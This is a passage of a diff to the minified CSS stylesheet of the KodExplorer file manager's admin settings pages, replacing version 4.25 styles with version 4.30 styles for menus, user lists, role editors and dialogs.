.title{color:#444;border-bottom:1px dashed #ddd;width:100%;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .section .content .box .title span,body .main .section .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .section .content .box p,body .main .section .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .section .content .box p b,body .main .section .content .box p b{padding-right:8px;}#body .main .section .content .box p i,body .main .section .content .box p i{padding-right:10px;}#body .main .nav,body .main .nav{margin-right:30px;border-bottom:2px solid #63acff;}#body .main .nav a,body .main .nav a{display:block;float:left;padding:5px 1.8em;background:#eee;border:none;margin:0;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,body .main .nav a:hover{background:#e1efff;border:none;color:#63acff;}#body .main .nav a.this,#body .main .nav a.this:hover,body .main .nav a.this,body .main .nav a.this:hover{background:#63acff;border:none;color:#fff;}#body .main .member input,body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span,body .main .member span{padding-left:10px;}#body .main .member select,body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info,body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit-role,body .main .member .edit-role{color:#666;}#body .main .member .edit-role:hover,body .main .member .edit-role:hover{border-bottom:1px solid #666;}#body .main .together,body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;width:100%;}#body .main .together .title,body .main .together .title{float:left;width:80px;height:28px;margin:5px;color:#333;}#body .main .together .title i,body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text,body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input,body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus,body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}#body .main .group-editor .tag,body .main .group-editor .tag{height:27px;line-height:27px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group-editor .tag input,body .main .group-editor .tag input{border:none;position:relative;top:-4px;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group-editor .tag:hover,body .main .group-editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group-editor .tag.this,body .main .group-editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group-editor .tag span,body .main .group-editor .tag span{cursor:pointer;}#body .main .group-editor .together a.button,body .main .group-editor .together a.button{margin:0 0 0 10px;}#body .alert,body .alert{position:absolute;right:30px;left:0px;margin-top:10px;}#body .main .content .title span,body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel,body .main .panel{margin-left:-1px;}#body .main .panel table .title,body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button,body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span,body .main .panel table .title span{border:none;}#body .main .panel table .menu-list .name input,body .main .panel table .menu-list .name input{width:90%;font-weight:400;}#body .main .panel table .menu-list .path input,body .main .panel table .menu-list .path input{width:90%;font-weight:400;}#body .menu-list,body .menu-list{color:#666;}#body .menu-list td span,body .menu-list td span{display:none;}#body .menu-list td label,body .menu-list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu-list td label input,body .menu-list td label input{margin-right:5px;}#body .menu-list td.url input[type=text],body .menu-list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu-list td label span,body .menu-list td label span{display:inline-block;}#body .menu-system td input[type='text'],body .menu-system td input[type='text']{display:none !important;}#body .menu-system td span,body .menu-system td span{display:inline !important;}#body .menu-system .move-del,body .menu-system .move-del{display:none !important;}#body .menu-hidden,body .menu-hidden{opacity:0.5;}#body .setting-menu table tr td.url,body .setting-menu table tr td.url{line-height:30px;}#body .save,body .save{width:auto;}#body .main .select table a.button,body .main .select table a.button{padding:0 8px;}#body input[type="radio"],body input[type="radio"]{width:auto;border:none;}#body .setting-menu,body .setting-menu{margin-left:-1px;}#body .setting-tab table,body .setting-tab table{font-size:1em;color:#888;width:100%;margin:0px;border:none;border:1px solid #eee;margin:10px 0 0px 1px;}#body .setting-tab table tr,body .setting-tab table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body .setting-tab table tr input[type='text'],body .setting-tab table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body .setting-tab table tr.title,body .setting-tab table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body .setting-tab table tr.title td,body .setting-tab table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body .setting-tab table tr.title span,body .setting-tab table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body .setting-tab table tr td,body .setting-tab table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body .setting-tab table tr td.name,body .setting-tab table tr td.name{width:30%;}#body .setting-tab table tr td.name,#body .setting-tab table tr td.path,body .setting-tab table tr td.name,body .setting-tab table tr td.path{border-right:1px solid #eee;}#body .setting-tab table tr td.action,body .setting-tab table tr td.action{line-height:1.3em;}#body .setting-tab table tr td.action a,body .setting-tab table tr td.action a{margin-right:5px;}#body .setting-tab table tr td .font-icon,body .setting-tab table tr td .font-icon{padding-right:0em;color:#666;}#body a.add,body a.add{display:block;text-align:center;text-decoration:none;line-height:25px;height:25px;color:#444;box-shadow:none;border:1px solid #ddd;margin:-1px 0 20px 1px;background:#f3f3f3;}#body a.add:hover,body a.add:hover{background:#cde;}#body .create-app,body .create-app{margin:0;display:block;position:absolute;right:20px;margin-top:-5px;}#body .app-menu-left,body .app-menu-left{min-width:160px;width:160px;}#body .app-menu-left .setting li.selected,body .app-menu-left .setting li.selected{padding-left:12px;}body.setting-page a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting-page a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting-page a.font-icon-label .font-icon{padding:0 !important;}body.setting-page .select-drop-menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting-page .button-aciton-muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting-page .select-drop-menu ul.dropdown-menu,body.setting-page .button-aciton-muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting-page .select-drop-menu ul.dropdown-menu li>a,body.setting-page .select-drop-menu ul.dropdown-menu li>a,body.setting-page .button-aciton-muti ul.dropdown-menu li>a,body.setting-page .button-aciton-muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting-page .select-drop-menu ul.dropdown-menu li>a:focus,body.setting-page .select-drop-menu ul.dropdown-menu li>a:hover,body.setting-page .button-aciton-muti ul.dropdown-menu li>a:focus,body.setting-page .button-aciton-muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting-page .aui-title{font-size:1em;}body.setting-page .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share-dialog .space-info-bar{margin:0 auto;margin-top:5px;}.share-dialog .label-default{background-color:#bbb;}.share-dialog .space-info-bar .space-process .space-process-use{background-color:#284b5a;}.share-dialog .select-drop-menu button.btn{width:150px;height:25px;}.share-dialog .select-drop-menu .selected{background-color:#def;}.share-dialog .select-parent-content .btn{width:140px;}.share-dialog .select-parent-content .icon-group{color:#FC913F;}.share-dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share-dialog .dialog-group-display{width:270px;position:relative;left:90px;top:-33px;clear:both;margin-bottom:-20px;}.share-dialog .dialog-group-display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;cursor:default;}.share-dialog .dialog-group-display .cell{max-height:80px;overflow-y:auto;}body.setting-page .ztree a{border:none;padding-left:3px;}body.setting-page .ztree a:hover{border:none;}body.setting-page .ztree li a.curSelectedNode{color:#fff;}body.setting-page .ztree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;padding-top:2px;font-size:1.15em;color:#ddd;}body.setting-page .ztree .hover .sub-menu{display:inline-block;color:#aaa;}body.setting-page .ztree .curSelectedNode .sub-menu,body.setting-page .ztree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting-page .select-parent-content .ztree{width:auto;min-width:160px;max-width:500px;position:absolute;left:90px;margin-top:-2px;padding:0;z-index:100;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting-page .select-parent-content .ztree .sub-menu,body.setting-page .select-parent-content .ztree .curSelectedNode .sub-menu{opacity:0.01;filter:alpha(opacity=1);}#body .system-content{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system-content .group-title-span{text-decoration:none;color:#428bca;}#body .system-content .left-frame{position:absolute;bottom:0px;top:0px;overflow:auto;width:220px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system-content .left-frame .left-header{position:absolute;z-index:100;width:100%;}#body .system-content .left-frame .left-header .tab{width:50%;margin-left:-1px;overflow:hidden;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system-content .left-frame .left-header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system-content .left-frame .left-content{margin-top:35px;}#body .system-content .left-frame .left-content .role-box{padding:10px 10px;}#body .system-content .left-frame .left-content .role-box ul{list-style:none;}#body .system-content .left-frame .left-content .role-box ul li.role-cell{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system-content .left-frame .left-content .role-box ul li.role-cell.role-cell-add{text-align:center;background:#eee;padding:0;color:#666;}#body .system-content .left-frame .left-content .role-box ul li.role-cell:hover{background:#eee;}#body .system-content .left-frame .left-content .role-box ul li.role-cell.select,#body .system-content .left-frame .left-content .role-box ul li.role-cell.select.role-cell-add{background:#63acff;color:#fff;}#body .system-content .left-frame .left-content .role-box ul li.role-cell .sub-menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system-content .left-frame .left-content .group-role-btn a{text-align:center;display:block;background:#def;margin:5px 10px;padding:15px 0;border-radius:2px;}#body .system-content .frame-resize{position:absolute;height:100%;width:10px;margin-left:-5px;background:transparent;z-index:9999;cursor:col-resize;top:0px;left:220px;}#body .system-content .frame-resize.active{background:rgba(0,0,0,0.1);}#body .system-content .right-frame{position:absolute;bottom:0px;top:0px;left:220px;right:0px;overflow:hidden;padding:10px 10px 10px 20px;}#body .system-content .right-frame .group-title{font-size:25px;padding:8px 0;}#body .system-content .right-frame .group-title .group-title-span{border-bottom:2px solid;padding-bottom:3px;}#body .system-content .right-frame .group-title .group-size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system-content .right-frame .user-toolbar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system-content .right-frame .user-toolbar .dropdown-menu{min-width:100px;}#body .system-content .right-frame .user-list table{border:none;width:100%;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system-content .right-frame .user-list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system-content .right-frame .user-list table tr.title,#body .system-content .right-frame .user-list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system-content .right-frame .user-list table tr:hover,#body .system-content .right-frame .user-list table tr.selected{background:#fff9ed;cursor:default;}#body .system-content .right-frame .user-list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system-content .right-frame .user-list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system-content .right-frame .user-list table tr td .space-info-bar{height:25px;}#body .system-content .right-frame .user-list table tr td .space-process{margin-top:6px;margin-bottom:-6px;}#body .system-content .right-frame .user-list table tr td .space-info{width:110px;overflow:hidden;}#body .system-content .right-frame .user-list table tr td.select{width:30px;padding-left:10px;}#body .system-content .right-frame .user-list table tr td.select input{position:relative;}#body .system-content .right-frame .user-list table tr td.select input:focus{box-shadow:none;}#body .system-content .right-frame .user-list table tr td.select:hover{background:#f6f6f6;}#body .system-content .right-frame .user-list table tr td.name{min-width:95px;}#body .system-content .right-frame .user-list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system-content .right-frame .user-list table tr td.role{width:90px;}#body .system-content .right-frame .user-list table tr td.space{width:120px;}#body .system-content .right-frame .user-list table tr td.group{width:auto;}#body .system-content .right-frame .user-list table tr td.action{width:auto;}#body .system-content .right-frame .user-list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}#body .system-content .right-frame .font-icon{padding:0;}#body .system-content .right-frame .search-user{position:absolute;right:10px;top:20px;}#body .system-content .right-frame .search-user .search-btn{position:absolute;right:20px;width:20px;text-align:center;height:20px;line-height:20px;margin-top:5px;border-radius:50%;cursor:pointer;opacity:0.8;}#body .system-content .right-frame .search-user .search-btn:hover{opacity:1;}#body .system-content .right-frame .search-user .search-btn.btn-close{right:35px;color:#F44336;}#body .system-content .right-frame .search-user .search-btn.btn-search{right:1px;background:none;border-radius:0px;background:#eee;height:30px;top:1px;margin:0;line-height:30px;width:30px;border-left:1px solid #ddd;border-radius:0 3px 3px 0;}#body .system-content .right-frame .search-user input{height:30px;padding:0px 50px 0px 5px;}#body .system-content .right-frame .user-list{position:absolute;left:19px;top:110px;bottom:35px;right:10px;overflow:auto;}#body .system-content .right-frame .page-item{position:absolute;padding:6px 10px 10px 25px;border-top:1px solid #eee;background:#fafafa;left:1px;right:0;height:20px;bottom:0;color:#666;}#body .system-content .right-frame .page-item input{width:50px;margin:0 5px;text-align:center;}#body .system-content .right-frame .page-item select{border:none;height:20px;background:#eee;margin:0 10px;}#body .system-content .right-frame .page-item em.line{border-right:1px solid #ccc;padding:3px;width:0px;margin:0px 9px;}#body .system-content .right-frame .page-item .page-list{display:inline-block;}#body .system-content .right-frame .page-item .page-list a{display:inline-block;width:25px;line-height:22px;cursor:pointer;text-align:center;color:#444;margin-right:-3px;border:1px solid transparent;}#body .system-content .right-frame .page-item .page-list a:hover{border:1px solid #b9daff;background:#def;border-radius:2px;}#body .system-content .right-frame .page-item .page-list a.disabled{color:#bbb;cursor:not-allowed;}#body .system-content .right-frame .page-item .page-list a.disabled:hover{background:none;border-color:transparent;}#body .system-content .right-frame .page-item .page-list a .font-icon{padding:0 2px;font-size:16px;}body.setting-page .select-user-group{padding:20px;font-size:1em;}body.setting-page .select-user-group .title-info .title{display:block;width:210px;float:left;padding-bottom:10px;}body.setting-page .select-user-group .title-info .title-right{margin-left:50px;}body.setting-page .select-user-group .right-content,body.setting-page .select-user-group .center-action,body.setting-page .select-user-group .left-content{border:1px solid #eee;float:left;width:235px;height:300px;}body.setting-page .select-user-group .right-content,body.setting-page .select-user-group .left-content{overflow-y:auto;}body.setting-page .select-user-group .left-content{margin:0px !important;padding:0;}body.setting-page .select-user-group .center-action{width:25px;border:none;}body.setting-page .select-user-group .center-action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting-page .select-user-group .select-group-right{padding:0;list-style:none;}body.setting-page .select-user-group .select-group-right .group-self{height:30px;line-height:30px;border-radius:2px;}body.setting-page .select-user-group .select-group-right .group-self:hover{background:#def;}body.setting-page .select-user-group .select-group-right .group-self .title{color:#1e5494;padding-left:5px;}body.setting-page .select-user-group .select-group-right .group-self .icon-group{padding-right:10px;}body.setting-page .select-user-group .select-group-right .group-self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;}body.setting-page .select-user-group .select-group-right .group-self .remove:hover{color:#f33;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li{padding-left:1em;font-size:13px;height:26px;line-height:24px;cursor:pointer;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting-page .select-user-group .select-group-right .select-drop-menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting-page .select-user-group #user-group-select.ztree .group-select-box{color:#fff;font-size:12px;border-radius:2px;width:14px;height:14px;line-height:14px;text-align:center;margin-top:4px;margin-right:4px;padding:0;position:absolute;right:0px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}body.setting-page .select-user-group #user-group-select.ztree .group-select-box:before{content:"\f";}body.setting-page .select-user-group #user-group-select.ztree a:hover .group-select-box{border:1px solid #3B99FC;}body.setting-page .select-user-group #user-group-select.ztree a.this .group-select-box{border:1px solid #3B99FC;background:#3B99FC;}body.setting-page .select-user-group #user-group-select.ztree a.this .group-select-box:before{content:"\f00c";color:#fff;}body.setting-page .select-user-group .select-drop-menu{margin-top:2px;float:right;}body.setting-page .select-user-group .select-drop-menu .btn{padding:0px 0.5em;margin-top:3px;font-weight:400;}body .group-role-setting{position:relative;width:100%;height:100%;}body .group-role-setting .content-info{position:absolute;bottom:10px;right:10px;top:10px;left:10px;box-shadow:0 0 3px #ccc;border-radius:2px;}body .group-role-setting .form-row{margin-bottom:5px;width:100%;}body .group-role-setting .form-row:after{clear:both;}body .group-role-setting .form-row.line{border-bottom:1px solid #ddd;margin-bottom:5px;}body .group-role-setting .form-row label{margin-right:20px;}body .group-role-setting .form-row input[type='checkbox']{display:inline-block;width:20px !important;}body .group-role-setting .form-row input[type='text'],body .group-role-setting .form-row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:150px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;padding-left:10px;}body .group-role-setting .form-row input[type='text']:focus,body .group-role-setting .form-row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}body .group-role-setting .form-row .btn .font-icon,body .group-role-setting .form-row .btn.btn-default .font-icon{color:#666;}body .group-role-setting .form-row .setting-title{float:left;width:70px;height:30px;padding-top:5px;}body .group-role-setting .form-row .setting-content{position:relative;}body .group-role-setting .form-row .dropdown-menu{left:70px;right:auto;margin-top:5px;}body .group-role-setting .form-row .dropdown-menu:before{right:auto;left:9px;}body .group-role-setting .form-row .dropdown-menu:after{right:auto;left:10px;}body .group-role-setting .form-row .item.item-main{background:rgba(0,0,0,0.05);border-radius:4px;height:25px;line-height:25px;}body .group-role-setting .form-row .group-role-check{background:#f4fbff;border:1px solid #c3e1ff;top:5px;padding:5px;margin-left:70px;border-radius:3px;}body .group-role-setting .form-row .group-role-check .item label{display:block;height:25px;line-height:25px;padding:0px 4px;margin:1px 0;position:relative;top:-5px;}body .group-role-setting .form-row .group-role-check .item label span,body .group-role-setting .form-row .group-role-check .item label i{position:relative;top:5px;}body .group-role-setting .form-row .group-role-check .item:hover{color:#2196F3;background:#def;border-radius:4px;}body .group-role-setting .form-row .group-role-check .content{margin-left:32px;margin-bottom:10px;}body .group-role-setting .form-row-submit{background:#eee;margin:10px 0 10px 0;border-top:1px solid #ddd;height:60px;width:100%;}body .group-role-setting .form-row-submit .setting-content{margin:10px;}body .group-role-setting .form-row-submit .btn{padding:4px 2em;margin-left:10px;}body .group-role-setting .form-row-submit .btn.btn-remove{float:right;color:#666;background:none;}body .group-role-setting .form-row-submit .save{width:60px;}body .group-role-setting .left-content{position:absolute;bottom:0px;top:0px;overflow:auto;width:160px;padding:10px;border-right:1px solid #ddd;}body .group-role-setting .left-content .role-cell{color:#444;display:block;text-decoration:none;border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}body .group-role-setting .left-content .role-cell.role-cell-add{text-align:center;background:#eee;padding:0;color:#666;}body .group-role-setting .left-content .role-cell:hover{background:#eee;}body .group-role-setting .left-content .role-cell.select,body .group-role-setting .left-content .role-cell.select.role-cell-add{background:#63acff;color:#fff;}body .group-role-setting .left-content .role-cell .sub-menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}body .group-role-setting .right-content{position:absolute;bottom:0px;top:0px;left:180px;right:0px;overflow:auto;} -/* ver 4.25(2017-12-04) [build 1512368388.9236] */ \ No newline at end of file +/* power by kodexplorer ver 4.30(2018-07-05) [build 1530795189.7341] */ +@import url('./fileIcon.css'); +@import url('./common.css'); +body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a,body a{text-decoration:none;}#body input[type='text'],#body input[type='password'],#body input[type='number'],body input[type='text'],body input[type='password'],body input[type='number']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus,#body input[type='number']:focus,body input[type='text']:focus,body input[type='password']:focus,body input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}#body .font-icon,body .font-icon{padding-right:0.8em;display:inline-block;}#body .system-content .left-frame .left-content .role-box ul li.select,body .system-content .left-frame .left-content .role-box ul li.select{background:#80DBFF;}#body .system-content .left-frame .left-content .ztree,body .system-content .left-frame .left-content .ztree{padding:5px 0px;}#body .system-content .left-frame .left-content .ztree li a,body .system-content .left-frame .left-content .ztree li a{border:1px solid transparent;padding:0px;}#body .system-content .left-frame .left-content .ztree li a.hover,body .system-content .left-frame .left-content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode,body .system-content .left-frame .left-content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover,body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .system-content .left-frame .left-content .ztree li a.hover,body .system-content .left-frame .left-content .ztree li a.hover{border:1px solid #eee;}#body .system-content .left-frame .left-content .ztree li a.curSelectedNode,#body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover,body .system-content .left-frame .left-content .ztree li a.curSelectedNode,body .system-content .left-frame .left-content .ztree li a.curSelectedNode.hover{color:#eee;}#body .panel,body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading,body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title,body .panel-title{font-size:1.1em;}#body .setting-tab,#body .system-content,body .setting-tab,body .system-content{margin-right:30px;}#body .setting-tab .panel-body,#body .system-content .panel-body,body .setting-tab .panel-body,body .system-content .panel-body{padding:20px 0 0 0;}#body .setting-tab .form-row,#body .system-content .form-row,body .setting-tab .form-row,body .system-content .form-row{padding:0 5px;}#body .setting-tab .line,#body .system-content .line,body .setting-tab .line,body .system-content .line{margin:10px 10px;}#body .setting-tab .form-row .setting-title,#body .system-content .form-row .setting-title,body .setting-tab .form-row .setting-title,body .system-content .form-row .setting-title{text-align:left;}#body .setting-tab .form-row-submit,#body .system-content .form-row-submit,body .setting-tab .form-row-submit,body .system-content .form-row-submit{background:#eee;margin:10px 0 10px 0;border-top:1px solid #ddd;height:60px;width:100%;}#body .setting-tab .form-row-submit .setting-content,#body .system-content .form-row-submit .setting-content,body .setting-tab .form-row-submit .setting-content,body .system-content .form-row-submit .setting-content{margin:8px;}#body .setting-tab .form-row-submit .btn,#body .system-content .form-row-submit .btn,body .setting-tab .form-row-submit .btn,body .system-content .form-row-submit .btn{padding:4px 2em;margin-left:10px;}#body .setting-tab .form-row-submit .btn.btn-remove,#body .system-content .form-row-submit .btn.btn-remove,body .setting-tab .form-row-submit .btn.btn-remove,body .system-content .form-row-submit .btn.btn-remove{float:right;color:#666;background:none;}#body .setting-tab .form-row-submit .save,#body .system-content .form-row-submit .save,body .setting-tab .form-row-submit .save,body .system-content .form-row-submit .save{width:60px;}#body .setting-tools-right,body .setting-tools-right{position:absolute;right:30px;top:27px;}#body .setting-tools-right .version-vip,body .setting-tools-right .version-vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting-tools-right .system-setting-more,body .setting-tools-right .system-setting-more{margin-left:10px;}#body .color-default,body .color-default{position:absolute;left:500px;top:28px;margin-top:43px;width:325px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color-default .color-list,body .color-default .color-list{width:50px;height:50px;float:left;margin:7px;cursor:pointer;box-shadow:0 0 10px #ddd;border-radius:50%;}#body .color-default .color-list:hover,body .color-default .color-list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .menu-left,body .menu-left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu-left h1,body .menu-left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;margin:0;padding:10px 0px 10px 20px;font-size:28px;height:50px;line-height:50px;letter-spacing:2px;}#body .menu-left .setting a,body .menu-left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:8px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu-left .setting a:hover,body .menu-left .setting a:hover{background:#f3f3f3;}#body .menu-left .setting a.selected,body .menu-left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .main .dropdown-menu,body .main .dropdown-menu{font-size:13px;}#body .main.app-content,body .main.app-content{left:160px;right:0;bottom:0;top:0;margin:0;width:auto;height:auto;}#body .main.app-content .app-model,body .main.app-content .app-model{position:absolute;bottom:0;top:0px;left:0px;right:0;overflow:auto;padding:20px;overflow-x:hidden;}#body .main.app-content .app-model .h1,body .main.app-content .app-model .h1{border-bottom:1px solid #ddd;padding-bottom:10px;}#body .main.app-content .app-model .search-words,body .main.app-content .app-model .search-words{font-size:14px;position:absolute;padding:5px 10px;margin:0 10px;}#body .main.app-content .app-model .clear-search-btn,body .main.app-content .app-model .clear-search-btn{cursor:pointer;display:inline-block;}#body .main.app-content .app-model .clear-search-btn:hover,body .main.app-content .app-model .clear-search-btn:hover{color:#f6b29b;}#body .main.app-content .app-list,body .main.app-content .app-list{margin-top:10px;margin-right:-15px;padding:10px 0 40px 0;display:flex;justify-content:space-between;flex-wrap:wrap;}#body .main.app-content .app-list .flex-empty,body .main.app-content .app-list .flex-empty{margin:0 15px 20px 0;width:140px;height:1px;}#body .main.app-content .app-list .app-li,body .main.app-content .app-list .app-li{list-style:none;cursor:pointer;text-align:center;float:left;margin:0 15px 20px 0;width:140px;height:200px;background:#f5faff;color:#2196F3;border:1px solid #d2d7dc;position:relative;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;border-radius:4px;background:none;border:1px solid #dee5e7;box-shadow:0 1px 2px rgba(0,0,0,0.1);}#body .main.app-content .app-list .app-li:hover,body .main.app-content .app-list .app-li:hover{background:#e2f2ff;}#body .main.app-content .app-list .app-li:hover,body .main.app-content .app-list .app-li:hover{background:#fff;box-shadow:0px 20px 100px rgba(0,0,0,0.1), 0px 20px 30px rgba(0,0,0,0.05);}#body .main.app-content .app-list .app-li .price-label,body .main.app-content .app-list .app-li .price-label{position:absolute;top:10px;right:-1px;border-radius:0;line-height:24px;height:24px;padding:0 10px;box-shadow:-3px 2px 5px rgba(0,0,0,0.3);}#body .main.app-content .app-list .app-li .price-label.label:before,body .main.app-content .app-list .app-li .price-label.label:before{position:absolute;top:0;left:-14px;content:" ";height:0;width:0;border:#f0ad4e 12px solid;border-left-color:transparent;}#body .main.app-content .app-list .app-li .price-label.label-warning,body .main.app-content .app-list .app-li 